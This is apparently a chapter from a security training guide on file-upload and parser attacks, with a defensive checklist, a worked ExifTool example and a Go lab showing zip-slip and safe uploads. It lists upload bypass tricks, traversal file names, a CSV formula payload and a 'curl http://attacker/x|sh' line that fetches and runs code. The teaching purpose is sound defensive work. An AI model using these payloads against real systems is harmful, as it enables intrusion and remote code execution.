Frontend Labs
⋯

Chapter 38 — File upload and parser attacks

In one sentence

An upload feature is an attack surface three times over: the file may be executed (webshell/polyglot), the parser that processes it may be exploitable (ImageMagick, ExifTool, Ghostscript, ffmpeg, XML), and the filename/path may enable traversal — so store dumbly, parse in a sandbox, and never trust any of it.

Where we are

G1 Ch 45 touched path traversal on download. Uploads are a bigger surface and a recurring source of RCE (GitLab via ExifTool, countless ImageTragick cases).

How it works

Threats:

   EXECUTION       upload `shell.php` (or `.phtml`, `.php5`, `.asp`,
     `.aspx`, `.jsp`, `.svg`, `.html`) to a location the web server
     executes or serves same-origin. Bypasses: double extension
     (`x.php.jpg` + a misconfigured Apache), null byte (`x.php%00.jpg`,
     legacy), case (`.pHp`), trailing dot/space, `.php.` , content-type
     spoof, a valid image with PHP appended (polyglot), `.htaccess`
     upload to re-map handlers, alternate data streams (Windows).
   POLYGLOT        a file that is BOTH a valid image AND valid HTML/PHP/JS.
     Served as an image but the browser/engine treats it as the dangerous
     type (MIME sniffing, or the app serves it with the wrong type). GIFAR
     (GIF + JAR). Defeated by `X-Content-Type-Options: nosniff` + correct
     types + a separate content origin.
   PARSER RCE / SSRF  the server processes the upload:
     ImageMagick  -- "ImageTragick" (CVE-2016-3714): MSL/MVG, `|` and
       `https://` delegates -> RCE and SSRF. Mitigate with `policy.xml`
       (disable coders: MSL, MVG, EPHEMERAL, URL, HTTPS, TEXT, SHOW, WIN,
       PLT; set resource limits).
     Ghostscript  -- `-dSAFER` bypasses (CVE-2018-16509, -19475, ...) ->
       RCE via crafted PostScript/EPS/PDF. Keep patched; sandbox.
     ExifTool     -- CVE-2021-22204: a crafted DjVu file -> Perl code
       injection -> RCE (this is how GitLab was popped). Restrict or drop
       ExifTool; run sandboxed.
     ffmpeg       -- HLS/`concat`/`file:`/`http:` in a crafted playlist
       (.m3u8/.avi) -> arbitrary file read (SSRF-like) server-side.
       Restrict protocols (`-protocol_whitelist`), no network.
     libraw / libtiff / libpng / libjpeg-turbo / poppler / mupdf -- native
       memory-safety CVEs; keep patched, sandbox.
     XML-based (SVG, DOCX, XLSX)  -- XXE (Ch 32).
   FILENAME / PATH   `../../etc/cron.d/x`, `..%2f`, `....//`, absolute
     paths, UNC paths, unicode/overlong, null bytes -> write outside the
     upload dir, overwrite files.
   ARCHIVES         zip-slip (`../` in entry names -> write anywhere on
     extraction); symlink entries (extract a symlink then a file through
     it); zip bombs / nested archives (decompression DoS, Ch 28).
   CSV / SPREADSHEET  formula injection: a cell starting `=`, `+`, `-`,
     `@`, or a tab/CR -> when the victim opens the export in Excel/Sheets,
     `=cmd|'/c calc'!A1` / `=HYPERLINK(...)` / data exfil via a web
     query. RCE on the DOWNLOADER's machine.
   PDF              embedded JS, `/Launch`, `/URI`, `/SubmitForm`,
     attachments, XFA; the renderer (pdfium/PDF.js/poppler) is the
     surface.

Defence:

   STORAGE
     [ ] Store OUTSIDE the web root, ideally in object storage (S3/GCS)
         with a random opaque key. Never use the user's filename in a
         path; generate one.
     [ ] Serve user content from a SEPARATE origin (usercontent.example)
         that has no cookies, no same-origin trust, a restrictive CSP,
         and forces `Content-Disposition: attachment` +
         `X-Content-Type-Options: nosniff` + a correct/whitelisted
         `Content-Type` (or `application/octet-stream`).
     [ ] The upload dir/bucket: no execute, no script handlers, no
         `.htaccess`/`web.config` interpretation.
   VALIDATION
     [ ] Validate type by MAGIC BYTES / a real detector (libmagic,
         `file`), not extension or `Content-Type`. Then also re-encode
         where feasible (decode + re-encode the image; convert to a
         canonical format) -- this destroys most polyglots and embedded
         payloads.
     [ ] Enforce size, dimensions, page/entry counts, decompression ratio.
     [ ] For SVG: sanitize (DOMPurify SVG profile) or rasterize; never
         serve raw SVG inline same-origin.
     [ ] For CSV export: prefix cells starting with = + - @ (and control
         chars) with a `'`, or quote-and-escape per the CSV-injection
         guidance.
   PARSING
     [ ] Do it in an ISOLATED sandbox: a container/VM/gVisor with NO
         network egress, minimal filesystem, non-root, seccomp,
         CPU/mem/time limits. A parser RCE then yields a locked box, and
         parser SSRF has nowhere to go.
     [ ] Keep parsers patched; disable features you don't need
         (ImageMagick `policy.xml`, ffmpeg `-protocol_whitelist`,
         Ghostscript `-dSAFER`, drop ExifTool).
     [ ] Consider Content Disarm & Reconstruction (CDR) / AV as defence in
         depth for documents.
   [ ] Rate-limit and quota uploads (Ch 28).

Worked example

Avatar upload -> ExifTool RCE -> contained by the sandbox.

   SecureShop resizes avatars and strips EXIF with ImageMagick + ExifTool,
   in the main app process.

   ATTACK: upload a crafted DjVu file with a `.jpg` extension (magic-byte
   check is fooled or skipped). ExifTool (< 12.24) processes the embedded
   metadata -> CVE-2021-22204 Perl injection -> `system('curl
   http://attacker/x|sh')` runs as the app -> reads DB creds from env,
   pivots.

   FIX (layered):
     - Magic-byte + strict allowlist (JPEG/PNG/WebP only); reject DjVu.
     - The resize/strip step runs in a SEPARATE worker: a minimal
       container, non-root, read-only FS except a tmp dir, seccomp,
       NetworkPolicy egress DENY, 2s CPU / 128MB limits, no secrets in
       env. A parser RCE here can't exfil (no egress), can't persist
       (ephemeral), can't read secrets (none present), can't reach the DB
       (no network).
     - Patch/replace ExifTool; or use a metadata stripper that doesn't
       shell to Perl.
     - Re-encode the image (decode -> re-encode) so metadata and any
       polyglot payload are gone.
     - Output goes to `usercontent.securesh.op` (cookieless, nosniff,
       attachment) -- so even an uploaded HTML/SVG can't run in the app
       origin.
     - Falco alerts on the worker spawning `curl`/`sh`.

Practice (75 min)

  1. PortSwigger Academy "File upload vulnerabilities" track: web-shell upload, content-type bypass, extension blacklist bypass, obfuscated extensions, polyglot, .htaccess, race condition on upload, and path traversal in the filename.
  2. Locally: an upload endpoint storing files in the web root with the user's filename. Get a web shell (.php, then bypasses). Then apply: object storage
    • opaque key + separate cookieless origin + re-encode + magic-byte allowlist. Re-test every bypass.
  3. Parser labs: an app that runs ImageMagick with a default policy.xml — trip ImageTragick (SSRF via https: delegate at least). Fix with a hardened policy.xml. Do the ffmpeg -protocol_whitelist / HLS file-read repro if you use ffmpeg.
  4. Zip-slip: an extraction routine that trusts entry names; write a file outside the target dir; fix by canonicalising and containing each entry path (G1 Ch 45).
  5. CSV injection: export user-controlled data to CSV; open in a spreadsheet with a =HYPERLINK/=cmd cell; add the leading-quote / escaping fix.
  6. Wrap the whole parsing step in a gVisor pod with egress denied (Part 4); re-run the parser exploits and show containment.

Build it in Go (35 min) — zip slip, lying uploads, and os.Root

Go 1.24 added os.Root: a directory handle that confines every file operation to that directory at the OS level. ../, absolute paths, and symlinks that point outside are refused. No string sanitising required. This lab extracts a malicious archive both ways, then runs an upload handler against hostile inputs. Everything happens inside a temporary directory.

// safeupload: file upload and archive extraction without the classic bugs
// (Chapter 38): zip slip / path traversal, oversized bodies, and lying
// Content-Types. Uses os.Root (Go 1.24+), which confines every file
// operation to one directory -- "../", absolute paths, and symlinks that
// point outside are all refused by the OS-level API, not by string checks.
//
//	go run ./safeupload
package main

import (
	"archive/zip"
	"bytes"
	"crypto/rand"
	"encoding/hex"
	"fmt"
	"io"
	"mime/multipart"
	"net/http"
	"net/http/httptest"
	"os"
	"path/filepath"
	"strings"
)

// maliciousZip builds an archive whose entry names try to escape the target.
func maliciousZip() []byte {
	var buf bytes.Buffer
	zw := zip.NewWriter(&buf)
	for _, name := range []string{"report.txt", "../escaped.txt", "a/../../escaped2.txt"} {
		w, _ := zw.Create(name)
		io.WriteString(w, "content of "+name)
	}
	zw.Close()
	return buf.Bytes()
}

// extractNaive is the bug, as written in countless codebases.
func extractNaive(zr *zip.Reader, dest string) {
	for _, f := range zr.File {
		path := filepath.Join(dest, f.Name) // "../escaped.txt" resolves OUTSIDE dest
		os.MkdirAll(filepath.Dir(path), 0o755)
		out, err := os.Create(path)
		if err != nil {
			fmt.Println("   naive:", err)
			continue
		}
		rc, _ := f.Open()
		io.Copy(out, rc)
		rc.Close()
		out.Close()
		fmt.Println("   naive: wrote", path)
	}
}

// extractSafe opens dest as an os.Root: every path is resolved INSIDE it.
func extractSafe(zr *zip.Reader, dest string) {
	root, err := os.OpenRoot(dest)
	if err != nil {
		panic(err)
	}
	defer root.Close()
	for _, f := range zr.File {
		out, err := root.Create(f.Name)
		if err != nil {
			fmt.Printf("   safe:  refused %-22q (%v)\n", f.Name, err)
			continue
		}
		rc, _ := f.Open()
		io.Copy(out, io.LimitReader(rc, 10<<20)) // also cap decompressed size: zip bombs
		rc.Close()
		out.Close()
		fmt.Println("   safe:  wrote", filepath.Join(dest, f.Name))
	}
}

// uploadHandler accepts an image upload safely.
func uploadHandler(store *os.Root) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		r.Body = http.MaxBytesReader(w, r.Body, 1<<20) // 1 MB, enforced while reading
		file, hdr, err := r.FormFile("file")
		if err != nil {
			http.Error(w, "bad upload: "+err.Error(), http.StatusRequestEntityTooLarge)
			return
		}
		defer file.Close()
		head := make([]byte, 512)
		n, _ := io.ReadFull(file, head)
		// Trust the BYTES, not the client's Content-Type header or file name.
		sniffed := http.DetectContentType(head[:n])
		if sniffed != "image/png" && sniffed != "image/jpeg" {
			http.Error(w, fmt.Sprintf("refused: claimed %q, content is %q", hdr.Header.Get("Content-Type"), sniffed), http.StatusUnsupportedMediaType)
			return
		}
		// Never use the client's file name on disk: pick our own.
		id := make([]byte, 8)
		rand.Read(id)
		name := hex.EncodeToString(id) + map[string]string{"image/png": ".png", "image/jpeg": ".jpg"}[sniffed]
		out, err := store.Create(name)
		if err != nil {
			http.Error(w, "store failed", http.StatusInternalServerError)
			return
		}
		defer out.Close()
		out.Write(head[:n])
		if _, err := io.Copy(out, file); err != nil {
			http.Error(w, "too large", http.StatusRequestEntityTooLarge)
			return
		}
		fmt.Fprintf(w, "stored as %s (client said %q)", name, hdr.Filename)
	}
}

func upload(url, filename, contentType string, body []byte) string {
	var buf bytes.Buffer
	mw := multipart.NewWriter(&buf)
	h := make(map[string][]string)
	h["Content-Disposition"] = []string{fmt.Sprintf(`form-data; name="file"; filename=%q`, filename)}
	h["Content-Type"] = []string{contentType}
	part, _ := mw.CreatePart(h)
	part.Write(body)
	mw.Close()
	resp, err := http.Post(url, mw.FormDataContentType(), &buf)
	if err != nil {
		return err.Error()
	}
	defer resp.Body.Close()
	b, _ := io.ReadAll(resp.Body)
	return fmt.Sprintf("%d %s", resp.StatusCode, strings.TrimSpace(string(b)))
}

func main() {
	sandbox, _ := os.MkdirTemp("", "upload-lab") // everything happens in here
	defer os.RemoveAll(sandbox)
	os.Chdir(sandbox) // so the paths below are short and relative
	data := maliciousZip()
	zr, _ := zip.NewReader(bytes.NewReader(data), int64(len(data)))

	fmt.Println("1. extracting a malicious archive into naive/x/")
	naive := filepath.Join("naive", "x")
	os.MkdirAll(naive, 0o755)
	extractNaive(zr, naive)
	fmt.Println("2. the same archive with os.Root")
	safe := "safe"
	os.MkdirAll(safe, 0o755)
	extractSafe(zr, safe)

	fmt.Println("3. uploads")
	os.MkdirAll("uploads", 0o755)
	store, _ := os.OpenRoot("uploads")
	defer store.Close()
	srv := httptest.NewServer(uploadHandler(store))
	defer srv.Close()
	png := append([]byte("\x89PNG\r\n\x1a\n"), make([]byte, 100)...)
	fmt.Println("   real PNG                     ->", upload(srv.URL, "cat.png", "image/png", png))
	fmt.Println("   HTML pretending to be a PNG  ->", upload(srv.URL, "cat.png", "image/png", []byte("<html><script>alert(1)</script>")))
	fmt.Println("   path in the file name        ->", upload(srv.URL, "../../etc/cron.d/x", "image/png", png))
	fmt.Println("   5 MB body                    ->", upload(srv.URL, "big.png", "image/png", append(png, make([]byte, 5<<20)...)))
}
$ go run ./safeupload
1. extracting a malicious archive into naive/x/
   naive: wrote naive/x/report.txt
   naive: wrote naive/escaped.txt
   naive: wrote naive/escaped2.txt
2. the same archive with os.Root
   safe:  wrote safe/report.txt
   safe:  refused "../escaped.txt"       (openat ../escaped.txt: path escapes from parent)
   safe:  refused "a/../../escaped2.txt" (openat a/../../escaped2.txt: no such file or directory)
3. uploads
   real PNG                     -> 200 stored as 4b2912fe70d50985.png (client said "cat.png")
   HTML pretending to be a PNG  -> 415 refused: claimed "image/png", content is "text/html; charset=utf-8"
   path in the file name        -> 200 stored as dcfcf6f61433c71a.png (client said "x")
   5 MB body                    -> 413 bad upload: http: request body too large

What to notice:

  • The naive extractor wrote outside its directory twice. filepath.Join cleans ../ rather than rejecting it, which is exactly the zip-slip bug.
  • os.Root refused both escapes with no validation code at all.
  • The client's Content-Type was a lie, and the bytes weren't. http.DetectContentType found HTML, which would be stored XSS if served back from your domain.
  • Go's multipart parser already reduced ../../etc/cron.d/x to x (it applies filepath.Base to file names). The handler doesn't rely on that and picks its own random name anyway. Defence in depth means not depending on a library's courtesy.
  • MaxBytesReader enforced the limit while reading, so the 5 MB body was never buffered.

Exercises:

  1. Add a symlink entry to the archive (zip stores the mode) pointing to /etc and confirm os.Root refuses to follow it.
  2. Serve stored uploads from a separate domain with Content-Disposition: attachment and X-Content-Type-Options: nosniff.
  3. Add decompression-bomb protection for images: check dimensions with image.DecodeConfig before decoding the pixels.

Common mistakes

  • Trusting Content-Type or the extension. Check magic bytes; better, re- encode.
  • Storing uploads in the web root and serving them same-origin. Separate cookieless origin, forced attachment, nosniff.
  • Using the client's filename in a path. Generate an opaque name; never concatenate user input into a filesystem path.
  • Parsing untrusted files in the main app process with network + secrets. A parser CVE = full compromise. Sandbox with no egress.
  • ImageMagick/Ghostscript/ExifTool/ffmpeg with default config. Disable coders/delegates/protocols you don't need; keep patched.
  • Serving raw SVG inline. It's XML (XXE) and can carry script. Sanitize or rasterize; serve as attachment from the content origin.
  • Extracting archives without path containment. Zip-slip and symlink escapes.
  • CSV/XLSX exports without formula-injection escaping. RCE on your users' machines.

Check yourself

  1. Name the three distinct attack surfaces an upload feature presents.
  2. Why does "re-encode the image" defeat both polyglots and many parser payloads?
  3. Give three real parser vulnerabilities (tool + effect) that came from processing uploads.
  4. What is zip-slip and how do you prevent it?
  5. Why serve user content from a separate, cookieless origin?
  6. What is CSV formula injection and where does the code execute?

Further reading

  • Cheat sheet: OWASP "File Upload Cheat Sheet"; "CSV Injection" (OWASP).
  • Labs: PortSwigger Academy file-upload track.
  • Research: "ImageTragick" (imagetragick.com); the GitLab ExifTool RCE (CVE-2021-22204) write-up; "How to exploit ffmpeg" (HLS/SSRF); "Exploiting Ghostscript" (Tavis Ormandy).
  • Hardening: ImageMagick policy.xml reference; ffmpeg -protocol_whitelist; the "SVG security" and "DOMPurify SVG profile" docs; X-Content-Type-Options and content-origin isolation patterns.

Generated from real-life-security-guide-v1.md · 8 Oct 2026 16:36